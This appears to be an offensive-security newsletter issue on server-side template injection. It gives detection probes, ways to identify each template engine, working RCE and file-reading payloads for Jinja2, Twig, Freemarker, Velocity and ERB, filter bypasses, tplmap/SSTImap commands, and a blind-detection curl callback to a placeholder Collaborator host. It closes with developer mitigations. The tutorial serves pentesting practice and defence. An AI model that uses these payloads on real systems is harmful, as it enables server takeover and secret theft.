Server-Side Template Injection (SSTI): Breaking Out of Templates

10 min read

January 11, 2026

Site Updates

💬 Comments Available

Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.

🚧 Recent Migration

Migrated from Ghost to Astro. Spot any formatting issues? Report them!

Server-Side Template Injection (SSTI): Breaking Out of Templates

Table of contents

Contents

👋 Introduction

Hey everyone!

Server-Side Template Injection (SSTI) is one of those vulnerabilities that goes straight from user input to remote code execution. When user input gets embedded directly into a template and processed by the template engine, attackers can break out of the intended context and execute arbitrary code. Unlike XSS where you attack the browser, SSTI attacks the server itself.

Template engines are everywhere. Flask uses Jinja2. Django has its own. Ruby on Rails uses ERB. Express.js apps often use Pug or Handlebars. PHP applications might use Twig or Smarty. Java applications use Freemarker or Velocity. All of these have been exploited via SSTI.

In this issue, we’ll cover:

  • How template engines work and why they’re vulnerable
  • Identifying template engines from error messages
  • Detection techniques for different engines
  • Exploitation paths from detection to RCE
  • Engine-specific payloads (Jinja2, Twig, Freemarker, etc.)
  • Sandbox escape techniques
  • Real-world CVEs from 2024
  • Tools and labs for practice

If you’re pentesting web applications, understanding SSTI is critical. It’s an often-overlooked vulnerability that can lead straight to remote code execution.

Let’s break some templates 👇

🎯 Understanding Template Engines

Template engines separate presentation logic from application code. Instead of mixing HTML with backend code, developers write templates with placeholders that get replaced at runtime.

Example template (Jinja2):

<h1>Welcome, {{username}}!</h1>
<p>Your balance is ${{balance}}</p>

Rendered output:

<h1>Welcome, Alice!</h1>
<p>Your balance is $1,234</p>

The template engine evaluates {{username}} and {{balance}}, replacing them with actual values.

Why Template Engines Are Dangerous

Template engines are designed to execute code. That’s their job. They support:

  • Variable interpolation: {{variable}}
  • Expressions: {{7*7}} or {{user.name.upper()}}
  • Filters: {{text|escape}} or {{date|format('Y-m-d')}}
  • Control structures: {% if admin %}...{% endif %}
  • Object access: {{config.SECRET_KEY}}

When user input flows into a template without proper sanitization, attackers can inject template directives. Since the engine executes these directives server-side, you get remote code execution.

Safe vs. Unsafe Template Usage

Safe (data-level injection):

# User input goes into template data, not template itself
template = "Hello, {{name}}!"
render(template, {'name': user_input})

Even if user_input is {{7*7}}, it renders as literal text: “Hello, {{7*7}}!”

Unsafe (template-level injection):

# User input becomes part of the template
template = "Hello, " + user_input + "!"
render(template, {})

If user_input is {{7*7}}, the template becomes Hello, {{7*7}}! and evaluates to “Hello, 49!”

The vulnerability occurs when developers dynamically construct templates from user input.

🔍 Detecting SSTI

Initial Detection

Test with basic mathematical expressions:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

If any of these render as 49, you’ve found SSTI. Different engines use different syntax:

  • {{...}}: Jinja2, Twig, Handlebars, Mustache, Pug
  • ${...}: Freemarker, Velocity, Thymeleaf
  • <%= ... %>: ERB (Ruby), EJS (Node.js)
  • #{...}: Pug (alternate syntax)

Decision Tree for Engine Identification

Once you confirm SSTI, identify the template engine:

Step 1: Try basic syntax variations

{{7*'7'}}  → '7777777' = Jinja2 or Twig
{{7*'7'}}  → 49 = Mako
${7*7}     → 49 = Freemarker or Velocity
<%= 7*7 %> → 49 = ERB or EJS

Step 2: Distinguish between similar engines

For Jinja2 vs. Twig:

{{7*'7'}}         → '7777777' (both)
{{'7'*7}}         → '7777777' (Jinja2), error (Twig)

For Freemarker vs. Velocity:

${7*7}            → 49 (both)
${7*'7'}          → error (Freemarker), 49 (Velocity)

Step 3: Check error messages

Trigger an error intentionally to leak the engine name:

{{undefined_variable}}
${nonexistent.function()}
<%= raise 'test' %>

Error messages often reveal:

  • Template engine name and version
  • File paths (useful for later exploitation)
  • Framework details (Flask, Django, Rails, etc.)

🧨 Exploitation by Template Engine

Jinja2 (Python / Flask)

Jinja2 is used by Flask and other Python web frameworks. It has a sandbox, but it can be escaped.

Basic information disclosure:

{{config}}
{{config.items()}}
{{self.__dict__}}

This leaks Flask configuration, including SECRET_KEY, database credentials, and other sensitive data.

Sandbox escape to RCE:

The goal is to access Python’s os module to execute commands. Jinja2’s sandbox blocks direct access, so we exploit built-in context objects.

Reliable payloads (from HackTricks):

# Using cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Using joiner object
{{joiner.__init__.__globals__.os.popen('id').read()}}

# Using namespace object
{{namespace.__init__.__globals__.os.popen('id').read()}}

These payloads exploit Jinja2 context objects (cycler, joiner, namespace) that have accessible __init__ methods exposing __globals__, allowing direct access to the os module.

Filter bypass:

If keywords like class or import are filtered:

# Use string concatenation
{{'cl'+'ass'}}

# Use attribute access
{{request['__cl'+'ass__']}}

# Hex encoding
{{"\x5f\x5fclass\x5f\x5f"}}

Twig (PHP / Symfony)

Twig is the default template engine for Symfony applications.

Basic detection:

{{7*7}} 49
{{7*'7'}} 49 (Twig does type coercion)

Information disclosure:

{{_self}}
{{_self.env}}
{{dump(app)}}

RCE via filter registration:

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

This registers system as a catch-all for undefined filters, then invokes it with the id command.

Using array filter (shorter):

{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

This technique chains array operations with system command execution.

Freemarker (Java)

Freemarker is common in Java applications, especially with Spring Framework.

Basic detection:

${7*7}49

RCE via Execute class:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

This creates a new instance of the Execute class and runs the id command.

Shorter alternative:

${"freemarker.template.utility.Execute"?new()("whoami")}

Reading files:

<#assign file="freemarker.template.utility.FileReader"?new()>
${file("/etc/passwd")}

Velocity (Java)

Used in older Java applications and Apache projects.

Basic detection:

${7*7}49

RCE via reflection:

#set($x='')
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()

With output capture:

#set($x='')
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($chr = $x.class.forName('java.lang.Character'))
#set($str = $x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

ERB (Ruby / Rails)

ERB (Embedded Ruby) is the default template engine for Ruby on Rails.

Basic detection:

<%= 7*7 %>  → 49

RCE:

<%= system('id') %>
<%= `whoami` %>
<%= IO.popen('id').readlines() %>

Reading files:

<%= File.open('/etc/passwd').read %>

🛠️ Tools of the Trade

tplmap: The original and most comprehensive SSTI exploitation tool. Supports 15+ template engines including Jinja2, Twig, Freemarker, Velocity, ERB, and more. Automates detection, identification, and exploitation. Written in Python 2.7.

# Install
git clone https://github.com/epinna/tplmap.git
cd tplmap

# Basic usage
python2 tplmap.py -u 'http://target.com/page?name=*'

# With POST data
python2 tplmap.py -u 'http://target.com/page' -d 'name=*&[email protected]'

# Specify injection point
python2 tplmap.py -u 'http://target.com/page?name=*' --os-cmd 'id'

SSTImap: Modern Python 3 alternative to tplmap with interactive interface. Automatic SSTI detection and exploitation with better maintainability.

# Install
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap

# Basic usage
python3 sstimap.py -u 'http://target.com/page?name=*'

# Interactive mode
python3 sstimap.py -i -u 'http://target.com/page?name=*'

PayloadsAllTheThings - SSTI: Comprehensive payload collection for all major template engines. Includes detection payloads, exploitation chains, and bypass techniques. Essential reference during pentests.

Burp Suite Collaborator: Useful for blind SSTI detection. Inject payloads that trigger DNS or HTTP requests to your Collaborator domain:

# Jinja2 blind SSTI
{{config.__class__.__init__.__globals__['os'].popen('curl http://YOUR_COLLABORATOR.burpcollaborator.net').read()}}

🧪 Labs & Practice

PortSwigger Web Security Academy:

HackTheBox:

  • Spider: Hard-rated retired Linux machine with Jinja2 SSTI exploitation featuring character length limitations and filter bypasses
  • Late: Easy-rated machine with SSTI vulnerability in text reading application leading to RCE
  • Doctor: Medium-rated machine exploitable via SSTI
  • Neonify (Challenge): ERB (Ruby) SSTI with regex filter bypass
  • HTB Academy - Server-side Attacks Course: Dedicated module covering SSTI identification and exploitation

TryHackMe:

Search for “Server Side Template Injection” or “SSTI” on the platform for dedicated rooms covering exploitation techniques and hands-on practice

🔒 Defense & Mitigation

For Developers:

1. Never use user input to construct templates

# BAD - User input in template string
template = "Hello, " + user_name + "!"
render(template)

# GOOD - User input in template data
template = "Hello, {{name}}!"
render(template, {'name': user_name})

2. Use sandboxed template engines

Enable sandboxing where available:

# Jinja2 with sandbox
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()

3. Implement strict allow-lists for template features

Disable unnecessary template features:

# Disable dangerous filters and functions
env = Environment(
    autoescape=True,
    extensions=[],  # No extensions
)

4. Use logic-less template engines

Consider using engines that don’t support code execution:

  • Mustache (logic-less by design)
  • Handlebars (limited logic)

5. Apply Content Security Policy (CSP)

While CSP won’t stop SSTI, it can limit post-exploitation impact by preventing data exfiltration or callback to attacker infrastructure.

For Pentesters:

  • Test all user-controllable input that appears in rendered output
  • Check for SSTI in less obvious places: HTTP headers, file uploads (especially filenames), API parameters
  • Try multiple syntax variations to identify the engine
  • Use Burp Collaborator for blind SSTI detection
  • Don’t stop at information disclosure. Always attempt RCE
  • Check for filter bypasses if basic payloads fail

🎯 Key Takeaways

  • SSTI occurs when user input is embedded directly into template code rather than template data
  • Template engines are designed to execute code, making SSTI particularly dangerous
  • Detection is straightforward using mathematical expressions like {{7*7}}
  • Engine identification is critical since exploitation techniques vary significantly
  • Sandbox escapes are possible in most template engines through object introspection
  • RCE is the end goal but information disclosure (config, secrets) is also valuable
  • Prevention requires strict separation between template structure and user data
  • Multiple 2024 CVEs demonstrate this remains an active threat in modern applications

📚 Further Reading


That’s it for this week!

SSTI is one of those vulnerabilities that feels like finding a skeleton key. When you discover it, you often go straight from limited user input to full server compromise. No privilege escalation needed. No lateral movement. Just inject a payload and you’re executing code as the application user.

The key is recognizing the opportunity. When you see template syntax in user-controllable fields, test for evaluation. When you find mathematical expressions rendering as calculated values, dig deeper. And when you identify the template engine, consult the documentation and payload collections to build your exploit chain.

Start with the PortSwigger labs. They’re excellent for understanding the fundamentals. Then move to HackTheBox machines where SSTI is one step in a larger attack chain. Practice identifying engines from error messages. Build muscle memory for common exploitation patterns.

See you in the next issue 🔥

Thanks for reading, and happy hacking!

— Ruben

Other Issues

gRPC Security: Breaking the High-Performance RPC Protocol
gRPC Security: Breaking the High-Performance RPC Protocol

Previous Issue

Kubernetes for Pentesters: Breaking Orchestrated Infrastructure from Zero

Next Issue

Kubernetes for Pentesters: Breaking Orchestrated Infrastructure from Zero

Comments

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media